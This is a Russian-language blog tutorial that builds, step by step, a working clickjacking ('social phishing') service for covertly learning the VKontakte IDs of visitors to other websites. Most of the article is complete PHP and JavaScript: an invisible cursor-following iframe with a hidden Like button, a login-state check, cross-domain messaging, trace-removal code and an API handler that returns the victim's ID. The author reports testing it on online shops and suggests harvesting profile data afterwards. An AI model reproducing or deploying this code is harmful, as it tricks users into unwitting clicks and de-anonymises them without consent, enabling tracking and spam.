На сегодняшний день, мы обладаем уникальной возможностью – отслеживать многочисленные потоки информации и сохранять важный контент у себя на интернет страницах. В один клик регистрироваться и авторизоваться на сайтах и различных сервисах. Уже не проблема быть в курсе различных и разносторонних новостей из разных сфер жизни или оставаться на связи со своими близкими и знакомыми. Мы стали пользователями многочисленных социальных сетей и обладателями личных страниц с индивидуальными номерами, которые хранят срез наших интересов. Посещая магазины в интернете и сайты с товарами, мы с лёгкостью можем подарить лишнюю информацию о себе, не заполнив при этом ни одной формы. Для продавца каждый из нас потенциальный клиент, и он хочет знать, кто к нему зашёл на сайт и по какому запросу. И это возможно - мы сами можем вручить свой уникальный идентификатор (id) профиля в социальной сети даже не заметив этого, что даст продавцу больше шансов впарить свой товар. Достигается это путем использования разновидности кликджекинга, так называемого соцфишинга, об этом сегодняшняя статья.
Но что такое кликджекинг? На этот вопрос есть однозначный ответ – это разновидность мошенничества, при котором непорядочные владельцы сайтов размещают у себя невидимые кнопки, ссылки, значки, вынуждая посетителя нажать на них. К примеру, таким способом может осуществляться накрутка людей в группы и на публичные страницы. Идея, в общем, проста, как и реализация. В этом случае за кнопкой прячут виджет сообщества и, под предлогом получения скидки или доступа к закрытому разделу сайта, вынуждают нажать на неё. В итоге происходит перехват клика и перенаправление его на подписку.
В этой статье мы будем рассматривать соцфишинг на примере социальной сети вконтакте.
Весь процесс отслеживания идентификатора (id) профиля и называется соцфишингом. На базе этого инструмента можно найти массу сайтов и сервисов, которые предоставляют эту услугу. Конечно, это не бесплатно и не совсем безопасно. Хотя, скорее всего на данных ресурсах вы найдёте убедительные аргументы обратного. Только заплати деньги, установи кусок кода и радуйся общению с новыми потенциальными покупателями. Мы же в этой статье всё сделаем сами и исключительно в образовательных целях!
В среднем просят по 5 рублей за определение одного посетителя, но «заплатить» можно гораздо дороже, а именно - понижением своих позиций в выдаче. Чтобы не быть голословным вот ссылки на два последних поста из блога Яндекс: отношение к кликджекингу №1 и отношение к кликджекингу №2.
Из чего можно сделать вывод: пользоваться можно, но на свой страх и риск. Конечно, если сайт получает основную часть трафика через поиск – лучше от этой идеи отказаться, а если при помощи Директа или Adwords, то, пока, в принципе и можно попробовать. Со временем, я думаю, использование будет караться жёстче - вплоть до удаления из поиска, но это моё предположение. Интересный факт заключается в том, что наказываться будут только сайты, использующие кликджекинг как разновидность соцфишинга, но не сервисы, предоставляющие собранную статистику.
Итак, тема обширная и интересная и нам понадобиться план, по которому и будем разбираться с ней:
- Немного о том, что это: фитча или уязвимость;
- Регистрируем виджиты ВК для нашего сервиса;
- Принцип перехвата клика;
- Архитектура приложения, кодировка и другие мелочи;
- Продолжаем писать скрипт, заполняем configs и functions;
- Заполняем inc.php и начинаем писать watch.php;
- Работаем над содержимым iframe;
- Заканчиваем писать скрипт и заполняем handler.php;
- Заключение.
Фитча или уязвимость, как же мы вытянем id пользователя ВК?
Лично я склоняюсь больше ко второму варианту – уязвимость и сейчас мы разберемся, почему именно так. Как стало уже понятно стандартными методами добыть id пользователя из ВК не получиться (через API), но у нас есть замечательные виджеты для сайтов и понимание работы кликджекинга. Да, ловить мы будем пользователей ВК через его виджеты, и нам понадобиться всего два из них для достижения наших целей. Сейчас мы каждому виджету уделим немного внимания и его рассмотрим. Если сразу не догадаетесь, как они будут применяться, то не расстраиваетесь - при написании нашего скрипта, всё станет на свои места.
Итак, какие же задачи перед нами стоят при написании скрипта?
Первая – это определить пользователя, который авторизирован. Это важный момент при несоблюдении, которого вся задумка будет рушиться как карточный домик (появлении на странице у посетителя формы ВК предлагающей ту самую авторизацию при произвольном клике).
Решение очень простое – воспользоваться виджетом для авторизации, у которого есть два состояния:
Исходя из размеров видно, что высота виджета авторизации меняется в зависимости от состояния пользователя - это мы и будем использовать в нашем будущим скрипте.
Вторая задача - это определение идентификатора (id профиля) посетителя. Для этого нам нужен виджет, который можно привязать к уникальной странице сайта. Чаще всего используют кнопку «Мне нравится» и мы тоже ей же воспользуемся.
После того, как посетитель кликнет по кнопке, которою конечно мы спрячем и подсунем под курсор, мы сможем обратиться через API ВК для получения списка людей, которые лайкнули эту страницу. Вот тут то и кроется уязвимость. То, что мы можем привязывать виджет к любой странице, а потом узнавать список пользователей её лайкнувших, и позволяет нам определить пользователя вконтакте на другом сайте при помощи дополнительных инструментов.
Да, внимательный читатель скажет, какая же это уязвимость, если бы не было данной возможности и смысла в этом виджете так же не было. И я с этим полностью согласен – это палка с двумя концами. На одном конце интегрированность социальной сети с другими сайтами, а на другом данный бонус.
Регистрируем виджеты ВК
Перед тем как начать писать скрипт определения id пользователя вконтакте, нужно создать приложение ВК, через id которого, мы добавим два виджета, упомянутых выше. Нет большого смысла под каждый виджет создавать приложение, поэтому создадим только под кнопку «Мне нравится». Для этого переходим на страницу виджетов вконтакте и выбираем кнопку.
Далее заполняем форму и жмем сохранить (адрес сайта указываем URL, где будет находиться наш скрипт, об этом далее):
Подтверждаем свои намерения, введя капчу. После чего виджет будет создан и id приложения получен. При таком способе не нужно подтверждать создание приложения при помощи смс сообщения.
Вот и всё, двигаемся дальше уже к непосредственному написанию кода!
Принцип перехвата клика (а после уже точно начинаем писать скрипт)
В этом пункте я не буду долго разглагольствовать, а скажу только суть этого принципа. Когда посетитель и потенциальный пользователь ВК зайдет на подключенный к сервису сайт, мы незаметно для него добавим на страницу iframe с виджетами прикреплённый к курсору. Конечно, при помощи стилей мы его спрячем, к примеру, укажем прозрачность на 0. Виджиты в iframe располагаем таким образом, чтобы курсор был на кнопке «Мне нравится»:
После того, как пользователь кликнет, мы должны будем удалить iframe прикреплённый к курсору и позволить ему работать с сайтом в стандартном режиме. И тут вы можете спросить, а как это сделать? Ведь из iframe нельзя никакие данные отправить на домен сайта, но эту задачу мы будем уже решать при написании скрипта.
Ещё один оставшийся момент связан с виджетом авторизации. Как я выше писал, в зависимости от высоты мы будем определять статус пользователя в контакте. Так вот если он не авторизирован, то iframe мы будем удалять сразу после проверки. Всё остальное уже разберём далее.
Структура PHP приложения и подготовительные шаги
В этой статье я буду делать пример на локальном сервере (сейчас я использую в своей практике и работе Open Server), поэтому перед разбором структуры стоит обозначить доменные имена:
- test-site.loc – это пример сайта, на котором будем ловить посетителя;
- test-scripts.loc – из названия уже понятно, что это место, куда мы поместим наш скрипт (его же использовали при создании приложения ВК).
Двигаемся дальше, на test-scripts.loc создаем директорию getVKid и переходим к её содержимому:
- .htaccess – настройки сервера;
- configs.php – настройки нашего приложения;
- functions.php – файл с функциями;
- handler.php – обработчик в котором мы будем обращаться к API ВК;
- iframe.php – область iframe;
- inc.php – общий файл для точек входа;
- index.php – заглушка;
- watch.php – файл, в котором будем генерировать javascript код на сайте, подключенном к сервису.
Со структурой приложения, думаю, понятно, давайте заполним первые несколько файлов и начнем с .htaccess. Укажем в нём кодировку на сервере utf-8:
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
Далее переходим к index.php и заполняем его простой HTML заглушкой:
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
<title>Get VK id</title>
</head>
<body>
<p>Cover page...</p>
</body>
</html>
Теперь нам нужно подключить сайт test-site.loc к нашему будущему сервису это будет осуществляться путём добавления следующих строк:
<script type="text/javascript">
(function(d, k, h){
var t = d.createElement("script");
t.src = h + "watch.php?key=" + k;
t.type = "text/javascript";
d.head.appendChild(t);
})(document, "cJeiL4CBSo71", "//test-scripts.loc/getVKid/");
</script>
Наверняка, вы часто видели подобные конструкции. При помощи этого кода мы будем динамически подключать наш watch.php, о котором было сказано выше. Вторым параметром анонимной функции передадим уникальный ключ для каждого подключённого нами сайта, который будет сравниваться в конфигах приложения. Третьим параметром указываем путь до скрипта.
Продолжаем писать сервис, configs и functions
В файле configs мудрить особо не будем, и создадим массив с настройками, там же под массив с подключёнными сайтами и ключами к ним:
// Настройки
$config = array(
"script_dir" => "test-scripts.loc/getVKid/",
"vk_api_id" => "Ваш id ВК приложения",
// Подключённые сайты
"domains" => array(
"test-site.loc" => "cJeiL4CBSo71"
)
);
Теперь переходим к functions.php и заполняем его, первые три функции нам потребуются для того, чтобы отследить тип запроса:
function is_get(){
if($_SERVER["REQUEST_METHOD"] == "GET"){
return true;
}
return false;
}
function is_post(){
if($_SERVER["REQUEST_METHOD"] == "POST"){
return true;
}
return false;
}
function is_ajax(){
if(isset($_SERVER["HTTP_X_REQUESTED_WITH"]) &&
!empty($_SERVER["HTTP_X_REQUESTED_WITH"]) &&
strtolower($_SERVER["HTTP_X_REQUESTED_WITH"]) == "xmlhttprequest"){
return true;
}else{
return false;
}
}
Далее две для чистки строковых и числовых данных:
function clear_str($var){
return trim(strip_tags($var));
}
function clear_int($var){
return (int)$var;
}
И последняя функция для проверки подключенного сайта по ключу:
function check_domain($key, $domains){
return array_search($key, $domains);
}
Генерируем JavaScript файл watch.php для сайта и не забываем про inc.php
Сперва поговорим про inc.php. В нём отключаем ошибки, указываем кодировку и подключаем конфиги и функции:
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
require_once "configs.php";
require_once "functions.php";
Так как получить нужно id пользователя вконтакте максимально быстро, то весь код, относящийся к JavaScript мы будем писать без использования библиотек (хотя я видел варианты, где во всю гоняли jQuery, что грустно).
<?php
require_once "inc.php";
if(is_get() && isset($_GET["key"])){
$key = clear_str($_GET["key"]);
$domain = check_domain($key, $config["domains"]);
?>
(function(d){
var domain = d.location.host;
function delScript(){
var scripts = d.getElementsByTagName("script");
for(i in scripts){
var src = scripts[i].src != undefined ? scripts[i].src : "";
if(src.match("key=<?php echo($key);?>")){
d.head.removeChild(scripts[i]);
break;
};
};
};
<?php
if(!$domain){
?>
console.info("Домен не подключён");
delScript();
<?php
}else{
?>
// Остальной код тут !!!
<?php
}
?>
})(document);
<?php
}
?>
Тут особо пояснять нечего, если внимательно читали статью, то всё должно быть предельно понятно. После того как мы получили через GET параметр key, проверяем сайт на соответствие ключу и, в зависимости от результата, выводим соответствующий JavaScript код. Функцией delScript() будем пользоваться при каждом завершении работы скрипта. В ней мы как бы удаляем наши следы. Для себя же выводим в консоль результат отработки кода.
if(domain !== "<?php echo($domain);?>"){
console.info("Домен не подключён");
delScript();
}else{
// Тут пишим остальной код !!!
};
Это ещё одна проверка на соответствие домена подключённого и того, на котором установлен код. Двигаемся дальше и ещё одна порция проверок:
var loadePage;
// Проверка вида браузера
if(navigator.userAgent.match("Android|BackBerry|phone|iPad|iPod|IEMobile|Nokia|Mobile|MSIE|iPhone|webOS|Windows Phone|Explorer|Trident")){
loadePage = false;
}else{
loadePage = true;
};
isSafari = !!navigator.userAgent.match(/Version\/[\d\.]+.*Safari/);
if(isSafari){
loadePage = false;
};
// Проверка кук
if(!navigator.cookieEnabled){
loadePage = false;
};
if(!loadePage){
console.info("not supported");
delScript();
}else{
// Остальное добавляем сюда
};
Мы определяем поддержку скрипта браузером. Отсеиваем мобильные устройства и браузеры, в которых отключены куки.
function getTime(){
return new Date().getMilliseconds();
};
Функция getTime() понадобиться нам для определения времени перехвата идентификатора пользователя вконтакте, её я добавил исключительно для маленькой статистики в консоли, она ни на что не влияет. Далее следует кроссбраузерный способ навешивания событий на элементы - данный код можно легко найти в интернете:
Event = (function(){
var guid = 0
function fixEvent(event){
event = event || window.event;
if(event.isFixed){
return event;
};
event.isFixed = true;
event.preventDefault = event.preventDefault || function(){
this.returnValue = false;
};
event.stopPropagation = event.stopPropagaton || function(){
this.cancelBubble = true;
};
if(!event.target){
event.target = event.srcElement;
};
if(!event.relatedTarget && event.fromElement){
event.relatedTarget = event.fromElement == event.target ? event.toElement : event.fromElement;
};
if(event.pageX == null && event.clientX != null){
var html = document.documentElement,
body = document.body;
event.pageX = event.clientX + (html && html.scrollLeft || body && body.scrollLeft || 0) - (html.clientLeft || 0);
event.pageY = event.clientY + (html && html.scrollTop || body && body.scrollTop || 0) - (html.clientTop || 0);
};
if(!event.which && event.button){
event.which = (event.button & 1 ? 1 : (event.button & 2 ? 3 : (event.button & 4 ? 2 : 0 )));
};
return event;
};
function commonHandle(event){
event = fixEvent(event);
var handlers = this.events[event.type];
for(var g in handlers){
var handler = handlers[g];
var ret = handler.call(this, event);
if(ret === false){
event.preventDefault();
event.stopPropagation();
};
};
};
return{
add: function(elem, type, handler){
if(elem.setInterval && (elem != window && !elem.frameElement)){
elem = window;
};
if(!handler.guid){
handler.guid = ++guid;
};
if(!elem.events){
elem.events = {};
elem.handle = function(event){
if(typeof Event !== "undefined"){
return commonHandle.call(elem, event);
};
};
};
if(!elem.events[type]){
elem.events[type] = {};
if(elem.addEventListener){
elem.addEventListener(type, elem.handle, false);
}else if(elem.attachEvent){
elem.attachEvent("on" + type, elem.handle);
};
};
elem.events[type][handler.guid] = handler;
},
remove: function(elem, type, handler){
var handlers = elem.events && elem.events[type];
if(!handlers){
return;
};
delete handlers[handler.guid];
for(var any in handlers){
return;
};
if(elem.removeEventListener){
elem.removeEventListener(type, elem.handle, false);
}else if(elem.detachEvent){
elem.detachEvent("on" + type, elem.handle);
};
delete elem.events[type];
for(var any in elem.events){
return;
};
try{
delete elem.handle;
delete elem.events;
}catch(e){
elem.removeAttribute("handle");
elem.removeAttribute("events");
};
}
};
}());
И две функции для установки кук и получения:
function setCookie(name, value, path, domain, secure){
var expires = new Date();
expires.setTime(expires.getTime() + (1000 * 86400 * 365));
d.cookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
};
function getCookie(name){
var cookie = " " + d.cookie;
var search = " " + name + "=";
var setStr = null;
var offset = 0;
var end = 0;
if(cookie.length > 0){
offset = cookie.indexOf(search);
if(offset != -1){
offset += search.length;
end = cookie.indexOf(";", offset)
if(end == -1){
end = cookie.length;
};
setStr = unescape(cookie.substring(offset, end));
};
};
return(setStr);
};
Допишем последний кусок кода, а пояснения я оставлю уже под ним:
console.info("s: " + getTime());
if(getCookie("vkid")){
delScript();
}else{
// Добавление iframe
var i = d.createElement("iframe");
i.src = "//<?php echo($config["script_dir"]);?>iframe.php?key=<?php echo($key);?>";
i.id = "iframe-0";
i.scrolling = "no";
i.style.position = "absolute";
i.style.left = 0;
i.style.top = 0;
i.style.zIndex = 99999;
i.style.height = "22px";
i.style.width = "30px";
i.style.opacity = 0;
i.parent = undefined;
d.body.appendChild(i);
// Прикрепление фрейма к курсору
mv = function(event){
var i0 = d.getElementById("iframe-0");
if(i0){
var x = event ? event.pageX : d.body.scrollLeft + event.clientX,
y = event ? event.pageY : d.body.scrollTop + event.clientY;
if((x>0) && (y>0)){
i0.style.left = (x-10) + "px";
i0.style.top = (y-10) + "px";
};
};
};
Event.add(d, "mousemove", mv);
// Очистка отработанных скриптов
// Устоновка кук
cd = function(event){
var strData = "" + event.data;
if(strData == "catched"){
i.style.visibility = "hidden";
i.style.position = "inherit";
};
if(strData == "done" || strData == "no_auth"){
var i0 = d.getElementById("iframe-0");
d.body.removeChild(i0);
delScript();
};
if(strData.match("user_id:")){
setCookie("vkid", strData.replace("user_id:", ""));
};
};
Event.add(window , "message", cd);
};
console.info("e: " + getTime());
Итак, изначально проверяем куку vkid, если её нет, то этот пользователь не был ещё определен. Поэтому через JavaScript создаем iframe и добавляем его на страницу, прикрепляем к курсору. Далее следует код, отвечающий за отлов междоменных сообщений, а сообщения нам будут приходить из iframe. Так как эти сообщения приходят в виде строки, а их может и не быть, я создал переменную strData, чтобы избежать лишних выдающих нас ошибок. Всё работает по принципу обмена данными для документов с разных доменов - сразу даю ссылку на источник, на котором очень подробно разъяснен данный способ общения – кросс-доменный скриптинг. В зависимости от пришедшего сообщения мы завершаем ловлю пользователя.
Пишем код для iframe.php подключаем к станице плагины
Мы плавно подходим к концу статьи и сейчас мы напишем нашу ловушку для посетителей:
<?php
require_once "inc.php";
if(is_get() && isset($_GET["key"])){
$key = clear_str($_GET["key"]);
$domain = check_domain($key, $config["domains"]);
if($domain){
$site_url = "http://".$domain;
$page_id = rand(1, 99999999);
$page_url = "http://".$config["script_dir"]."?mypp=".$page_id;
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
<title>iframe</title>
<script src="//vk.com/js/api/openapi.js?117" type="text/javascript"></script>
<style type="text/css">
html, body{
margin: 0;
padding: 0;
}
#vkwidget1_tt{
display: none !important;
}
#vk_auth,
#vk_like{
opacity: 0;
}
#vk_like{
left: -25px;
top: -96px;
}
</style>
</head>
<body>
<div id="vk_auth"></div>
<div id="vk_like"></div>
<script type="text/javascript">
// Остальной код пишем тут
</script>
</body>
</html>
<?php
}
}
?>
Файл iframe.php как и watch.php тоже является точкой входа. Мы также проверяем домен сайта по ключу. Добавляем разметку для виджетов и прячем её через CSS стили. Также создаём переменные с адресом сайта и сгенерированной страницей для виджета, через которую и будим вытягивать id.
Далее идёт код инициации наших виджитов по id приложения ВК:
var apiId = <?php echo($config["vk_api_id"]);?>;
VK.init({
apiId: apiId
});
Теперь мы подключим кнопку «Мне нравится»:
VK.Widgets.Like("vk_like", {
type: "button",
height: 24,
page_id: "<?php echo($page_id);?>",
pageUrl: "<?php echo($page_url);?>"
});
Если изучить документацию ВК, то в ней можно найти способ, как отследить добавленный лайк пользователя или убранный на странице.
VK.Observer.subscribe("widgets.like.liked", function f(){
top.postMessage("catched", "<?php echo($site_url);?>");
var reqQuery = "apiId=" + apiId + "&" + "pageId=" + <?php echo($page_id);?> + "&" + "key=" + encodeURIComponent("<?php echo($key);?>");
function getXmlHttpRequest(){
if(window.XMLHttpRequest){
try{
return new XMLHttpRequest();
}catch(e){};
}else if(window.ActiveXObject){
try{
return new ActiveXObject('Msxml2.XMLHTTP');
}catch(e){};
try{
return new ActiveXObject('Microsoft.XMLHTTP');
}catch(e){};
};
return null;
};
// Запрос к серверу
var req = getXmlHttpRequest();
req.onreadystatechange = function(){
if(req.readyState == 4){
if(req.status == 200){
var data = req.responseText;
setTimeout('top.postMessage("user_id:' + data + '", "<?php echo($site_url);?>")', 1);
setTimeout('top.postMessage("done", "<?php echo($site_url);?>")', 100);
};
};
};
req.open("POST", "handler.php", true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.setRequestHeader("Content-Length", reqQuery.length);
req.send(reqQuery);
});
VK.Observer.subscribe("widgets.like.unliked", function f(){
});
При помощи top.postMessage() мы отправляем нам нужные сообщения обратно на тестовый сайт. Из-за того, что мы не использовали jQuery, у нас получился не малый код запроса к серверу, но при этом мы сэкономили на погрузке самой библиотеки.
Далее переходим к виджету авторизации:
VK.Widgets.Auth("vk_auth", {
width: "200px",
authUrl: "/dev/Auth"
});
VK.Auth.getLoginStatus(function(){
f=0;
setInterval(function(){
h = parseInt(document.getElementById("vk_auth").style.height);
if(h==80 || f){
return;
};
f=1;
if(h==85 || h==87){
top.postMessage("no_auth", "<?php echo($site_url);?>");
return;
};
}, 100);
});
Тут, как видите, особо говорить нечего: весь код добавили в функцию setInterval() с учётом того, что виджит может погрузиться не сразу. Вот и всё, мы закончили с iframe и осталось получить id по сформированной странице.
Тянем ВК id
В обработчике handler.php мы чистим переданные данные при ajax запросе и формируем ссылку в API ВК. При помощи file_get_contents() осуществляем запрос и получаем наш заветный id посетителя.
require_once "inc.php";
if(is_ajax() || is_post()){
$apiId = clear_int($_POST["apiId"]);
$pageId = clear_int($_POST["pageId"]);
$key = clear_str($_POST["key"]);
$domain = check_domain($key, $config["domains"]);
if(isset($apiId, $pageId, $domain)){
$apiLink = "https://api.vk.com/method/likes.getList?type=sitepage&owner_id=".$apiId."&page_url="."http://".$config["script_dir"]."?mypp=".$pageId;
$content_vk = file_get_contents($apiLink);
if($content_vk){
$vk = json_decode($content_vk);
if($vk && isset($vk->response)){
$user_id = $vk->response->users[0];
echo($user_id);
}
}
}
}
На этом мы завершаем писать сервис. А при клике в консоли увидим такую картинку:
Заключение
Мы проделали достаточно большую работу в этой статье и получили готовый скрипт для реализации соцфишинга. Дальше можно спокойно по id пользователя вконтакте получить все доступные данные через API (имя, фамилия, интересы и т.д.) и сохранить их в файл, базу данных или вообще себе отправить на почту. На базе данного алгоритма написано множество CRM систем, за пользование которыми нужно платить реальные деньги - как я выше писал, в среднем, по 5 рублей за определение. Теперь, когда Вы знаете что такое соцфишинг и его принцип работы, то сами будете крайне осторожны, посещая различные сайты, если конечно не хотите получать лишний спам в личку или возникновения других возможных неприятностей. Последнее, что хочу отметить в этой статье – это процент определимости посетителей. На многих ресурсах пишут его достаточно высоким, но как можно убедиться, эта штука может работать только на ПК и в современных браузерах. Сам я тестировал на нескольких интернет-магазинах и скажу одно: да, люди попадаются, конечно, не 30-70% как пишут на ресурсах, но процентов 5-10% словить можно.
Так как была изменена политика безопасности некоторых виджетов сети, скрипт из статьи работает частично.